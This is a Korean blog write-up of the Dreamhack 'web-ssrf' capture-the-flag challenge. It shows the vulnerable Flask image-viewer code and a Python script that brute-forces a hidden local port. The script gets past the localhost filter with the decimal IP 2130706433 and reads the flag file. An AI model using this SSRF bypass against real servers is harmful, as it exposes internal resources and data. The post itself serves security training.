Iriton's log
[Dreamhack] Lv.2 web-ssrf 본문
web-ssrf
flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. 문제 수정 내역 2023.07.17 css, html 제공 Reference Server-side Basic
dreamhack.io
flask로 작성된 image viewer 서비스 입니다.
SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다.
SSRF란?
Server Side Request Forgery
서버 측에서 위조된 HTTP 요청을 발생시켜 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격
코드 분석
전체 코드
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
플래그는 파일의 flag.txt에 있다.
/img_viewer 라우트에서는
url을 받아서 로컬에서 해당 경로에 있는 이미지를 띄우는 로직이 존재한다.
이때, localhost나 127.0.0.1을 입력하여 HTTP 요청을 조작하려는 시도를 한다면 에러 이미지를 띄운다.
이를 우회하는 방법을 찾아야 한다.
로컬 호스트는 저장되어 있는데
로컬 포트는 랜덤으로 생성하여 HTTP 서버를 생성한다.
따라서 해당 포트 번호를 알아내야 서버 요청 조작을 할 수 있다.
from requests import *
for i in range(1500,1800):
url='http://host3.dreamhack.games:{YOUR_PORT_NUMBER}/img_viewer'
data={'url':f"http://2130706433:{i}/flag.txt"}
response=post(url=url,data=data)
if response.text.find('iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWn') == -1:
print('[+] port number :',i)
print(response.text)
1500~1800번 포트를 무차별대입(Brute Force)하여 포트를 찾는다.
해당 범위 포트를 순회하면서 응답 결과를 분석하는 방식이다.
2130706433 IP 주소(즉, 127.0.0.1)의 특정 포트에서 flag.txt 파일에 접근할 수 있는지를 확인하는 것이다.
포트가 잘못된 경우 error.png로 응답하는데
응답 데이터가 error.png의 Base64 데이터와 일치하는지 확인한다.
일치할 경우, 이는 현재 시도 중인 포트가 잘못된 포트임을 의미한다.
error.png의 Base64 데이터가 아닌 다른 응답이 반환된다면, 이는 해당 포트가 올바른 로컬 네트워크 웹 서버의 포트 번호임을 나타낸다.
즉, 조건문에서 error.png의 Base64 데이터와 일치하지 않는 응답이 있는 경우 그 포트를 출력하고, 응답 내용을 함께 출력한다.
그 결과 콘솔에 포트번호와 함께 Base64로 인코딩 된 값이 보이는데 이 값을 디코딩해 주면 flag가 뜬다.
'WebHacking > WarGame' 카테고리의 다른 글
[Dreamhack] Lv.3 XSS Filtering Bypass Advanced (1) | 2024.10.30 |
---|---|
[Dreamhack] Lv.2 blind-command (1) | 2024.09.30 |
[webhacking.kr] old-34 (0) | 2024.05.29 |
[webhacking.kr] old-27 (1) | 2024.05.29 |
[Dreamhack] Beginner: pathtraversal (0) | 2024.05.22 |